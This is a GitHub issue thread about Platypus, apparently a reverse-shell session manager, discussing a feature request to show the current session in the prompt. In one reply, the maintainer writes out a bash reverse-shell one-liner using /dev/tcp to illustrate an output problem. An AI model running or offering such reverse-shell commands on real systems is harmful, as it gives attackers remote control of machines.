WangYihang/Platypus

Adding a display current prompt setting

felixguerrero12 opened this issue · 3 comments

Description

Adding a current session prompt setting showing what session the user is interacting with.

Reproduce

  1. go run platypus.go
  2. Run 0.0.0.0 8080
    ...

Expected behavior

Golden Duck - f4f2b36f04c6e688fb210df160e5acd8: ls
magic1 magic2 magic3

Current behavior

NONE

Screenshots/Terminal log

Environments

  • Standard

--- I am going to attempt at the submitted bug reports. These are not bugs but rather additional capability.

Hi, Awesome work Thanks. Can you fix this please?
#7

Actually, when you type Interact command, there will be a prompt that means you are now interacting with a puppet client.

The output text with blue color

2019/03/26 20:16:11 Interacting with [203689d7c5178b86667c7b7a753bc1c8]

image

If we print the prompt words, the output will be confusing when we are using vim (and other tools which need full interactive tty, like htop), BTW, if the stderr of the reverse shell terminal be redirected to Platypus, the output will be confusing too.

bash -c 'bash -i >/dev/tcp/127.0.0.1/8080 0>&1 2>&1 &'

so, to fit your requirements, I have added this into the todo list. ( maybe add an option to help users switch from this two mode.

The task is down. @ariadarkkkis
image